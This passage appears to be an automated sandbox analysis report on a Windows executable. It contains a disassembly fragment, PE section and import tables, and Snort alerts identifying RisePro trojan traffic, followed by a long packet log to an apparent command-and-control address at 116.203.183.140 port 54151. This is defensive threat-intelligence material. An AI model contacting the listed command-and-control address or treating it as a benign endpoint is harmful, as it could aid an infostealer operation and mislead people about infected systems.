movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F37211F5DBBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F37211F5DACh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F37211F5DAEh
add edx, 28h
cmp edx, esi
jne 00007F37211F5D8Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F37211F5D9Bh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
test eax, eax
jne 00007F37211F5DA6h
xor al, al
pop ebp
ret
mov ecx, 00005A4Dh
cmp word ptr [eax], cx
jne 00007F37211F5D94h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007F37211F5D87h
mov eax, 0000010Bh
cmp word ptr [ecx+18h], ax
sete al
pop ebp
ret
mov eax, dword ptr fs:[00000018h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6e21c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x75000	0x677d	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x370def8	0x2990
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0x4114	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x67930	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x67988	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5f000	0x340	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5d6ed	0x5d800	d14cfc797ee564c9e874bd1e67b0958e	False	0.4659560912433155	DOS executable (COM)	6.61384158163032	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x5f000	0x10460	0x10600	a93bfa618092a37619bf4c604c78e013	False	0.38114265267175573	data	4.798234301337709	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x70000	0x49a0	0x1600	b04a39a4e4059f8c3f5731dff8990467	False	0.21857244318181818	data	4.026995854464094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x75000	0x677d	0x6800	c92b4477d1e81be64a04bbb12a2d23d3	False	0.9295372596153846	data	7.7585140472480285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0x4114	0x4200	5d96cbae03ca64130eda99f8f5e1c631	False	0.7248461174242424	data	6.581134153914073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x752b0	0x5c94	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9929535864978903
RT_DIALOG	0x7af44	0x122	data	English	United States	0.5896551724137931
RT_DIALOG	0x7b068	0xb8	data	English	United States	0.6684782608695652
RT_DIALOG	0x7b120	0xb8	data	English	United States	0.6684782608695652
RT_STRING	0x7b1d8	0x94	data	English	United States	0.668918918918919
RT_STRING	0x7b26c	0x34	data	English	United States	0.6538461538461539
RT_STRING	0x7b2a0	0x54	data	English	United States	0.6904761904761905
RT_STRING	0x7b2f4	0x34	data	English	United States	0.6538461538461539
RT_GROUP_ICON	0x7b328	0x14	data	English	United States	1.05
RT_VERSION	0x7b33c	0x2c4	data	English	United States	0.4901129943502825
RT_MANIFEST	0x7b600	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	VirtualAlloc, VirtualFree, GetVersionExA, GetSystemDirectoryW, GetModuleHandleA, GetProcAddress, LoadLibraryExW, lstrcatW, lstrlenW, CloseHandle, GetLastError, InitializeCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventA, CreateSemaphoreA, AreFileApisANSI, MultiByteToWideChar, WideCharToMultiByte, FreeLibrary, GetModuleFileNameA, GetModuleFileNameW, LoadLibraryExA, LoadLibraryA, LoadLibraryW, LocalFree, FormatMessageA, FormatMessageW, SetCurrentDirectoryA, SetCurrentDirectoryW, GetCurrentDirectoryA, GetCurrentDirectoryW, CreateDirectoryA, CreateDirectoryW, CreateFileW, DeleteFileA, DeleteFileW, RemoveDirectoryA, RemoveDirectoryW, SetFileAttributesA, SetFileAttributesW, SetFileTime, GetTempPathW, SetLastError, GetCurrentProcessId, GetCurrentThreadId, GetTickCount, GetSystemDirectoryA, GetWindowsDirectoryA, GetWindowsDirectoryW, GetModuleHandleW, GetTempPathA, MoveFileA, MoveFileW, FindClose, FindCloseChangeNotification, FindFirstChangeNotificationA, FindFirstChangeNotificationW, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, GetFileAttributesA, GetFileAttributesW, GetLogicalDriveStringsW, GetLogicalDriveStringsA, CreateFileA, GetFileSize, ReadFile, SetEndOfFile, SetFilePointer, WriteFile, CompareFileTime, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, GetStdHandle, GetFileInformationByHandle, WaitForMultipleObjects, Sleep, GetCommandLineW, CreateProcessA, WriteConsoleW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, FlushFileBuffers, HeapSize, SetConsoleCtrlHandler, GetProcessHeap, GetStringTypeW, GetFileType, SetStdHandle, SetEnvironmentVariableW, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, IsValidCodePage, DecodePointer, FindFirstFileExW, FindFirstFileExA, WaitForSingleObjectEx, OutputDebugStringW, OutputDebugStringA, HeapReAlloc, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, GetCurrentThread, HeapAlloc, HeapFree, GetACP, ExitProcess, GetModuleHandleExW, FreeLibraryAndExitThread, ResumeThread, ExitThread, CreateThread, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, InterlockedFlushSList, InterlockedPushEntrySList, EncodePointer, RaiseException, RtlUnwind, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent
USER32.dll	CharUpperA, ShowWindow, CharUpperW, DestroyWindow, LoadIconA, KillTimer, SetTimer, PostMessageA, InvalidateRect, GetDC, DrawTextW, EndDialog, MessageBoxW, CharPrevExA, GetWindowTextLengthW, GetWindowTextLengthA, GetWindowTextW, GetWindowTextA, SetWindowTextW, SetWindowTextA, CreateWindowExW, CreateWindowExA, RegisterClassW, RegisterClassA, SendMessageA, LoadStringW, LoadStringA, SystemParametersInfoA, MapDialogRect, SetWindowLongA, GetWindowLongA, ScreenToClient, GetWindowRect, GetDialogBaseUnits, GetDlgItem, DialogBoxParamW, DialogBoxParamA, CreateDialogParamW, CreateDialogParamA, MoveWindow, SendMessageW
SHELL32.dll	DragQueryFileW, DragFinish, DragQueryFileA, ShellExecuteExA, SHBrowseForFolderA, SHGetPathFromIDListA, SHGetMalloc
ole32.dll	CoInitialize, CoUninitialize
OLEAUT32.dll	VariantCopy, VariantClear, SysAllocStringLen, SysAllocString, SysStringLen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/29/24-11:04:50.649369	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49167	54151	192.168.2.22	116.203.183.140
03/29/24-11:04:50.835883	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	54151	49167	116.203.183.140	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 11:04:50.312900066 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:50.502649069 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:50.502743006 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:50.649369001 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:50.835882902 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:51.062741041 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:51.249475002 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:51.390467882 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:51.624768019 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:51.675935030 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:51.675961018 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:51.676048040 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:51.677089930 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:51.677098036 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:51.949184895 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:51.949376106 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:51.954013109 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:51.954018116 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:51.954245090 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:52.014837027 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:52.056242943 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:52.226804018 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:52.226898909 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:52.226950884 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:52.227165937 CET	49168	443	192.168.2.22	34.117.186.192
Mar 29, 2024 11:04:52.227174997 CET	443	49168	34.117.186.192	192.168.2.22
Mar 29, 2024 11:04:52.451054096 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.451076984 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.451144934 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.451570034 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.451584101 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.654378891 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.654444933 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.714807034 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.714823008 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.715086937 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.924240112 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:52.924297094 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:52.995724916 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:53.040234089 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:53.132941961 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:53.133023024 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:53.133065939 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:53.133285999 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:53.133301973 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:53.133323908 CET	49169	443	192.168.2.22	104.26.4.15
Mar 29, 2024 11:04:53.133328915 CET	443	49169	104.26.4.15	192.168.2.22
Mar 29, 2024 11:04:53.133757114 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.374824047 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.532833099 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.532847881 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.532864094 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.532897949 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.533071041 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533085108 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533097029 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533108950 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533117056 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.533121109 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533128023 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.533134937 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533148050 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.533165932 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.533189058 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.718966961 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719006062 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719021082 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719032049 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719043970 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719057083 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.719086885 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.719099045 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719113111 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:53.719136000 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:53.777237892 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:54.015862942 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.064930916 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.104789972 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:54.344239950 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.393182039 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.432389975 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:54.671924114 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.721379042 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.721458912 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:54.721513033 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:54.760114908 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:55.000015974 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:55.047811031 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:55.243539095 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:55.421993017 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:55.422172070 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:56.886281013 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:56.894866943 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.081177950 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.081264973 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.267539978 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.267569065 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.267632961 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.453624964 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.453638077 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.453708887 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.453722000 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.453756094 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.453778982 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.453797102 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640289068 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640392065 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640487909 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640516996 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640536070 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640580893 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640638113 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640686989 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640721083 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640775919 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640923977 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.640979052 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.640996933 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.642286062 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.826838017 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.826888084 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.826935053 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.826958895 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.826977015 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.827003002 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.827014923 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.827059031 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.827240944 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.827292919 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.827310085 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.827354908 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.827425003 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.827471018 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.828255892 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.828329086 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:57.828330994 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:57.828377008 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.013806105 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.013911963 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.014178991 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.014252901 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.014291048 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.014336109 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.014476061 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.014522076 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.014585018 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.014661074 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200143099 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200162888 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200172901 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200182915 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200236082 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200258970 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200275898 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200294971 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200310946 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200431108 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200473070 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200490952 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200541973 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200589895 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200642109 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200643063 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200654030 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200706005 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200741053 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200763941 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200787067 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200812101 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200814962 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.200871944 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.200961113 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201000929 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201088905 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201136112 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201230049 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201276064 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201421976 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201467991 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201498032 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201539993 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201611042 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201663017 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201745033 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201792002 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.201884985 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.201935053 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202006102 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202056885 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202080011 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202127934 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202220917 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202275038 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202280998 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202325106 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202475071 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202523947 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202524900 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202572107 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.202904940 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.202963114 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.203176975 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.203229904 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.250170946 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.250238895 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387104988 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387198925 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387250900 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387326956 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387331963 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387386084 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387631893 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387643099 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387703896 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387710094 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387756109 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387867928 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387885094 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.387914896 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387914896 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.387986898 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388034105 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388145924 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388201952 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388226032 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388276100 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388288021 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388345957 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388403893 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388457060 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388473034 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388526917 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:04:58.388572931 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:04:58.388618946 CET	49167	54151	192.168.2.22	116.203.183.140
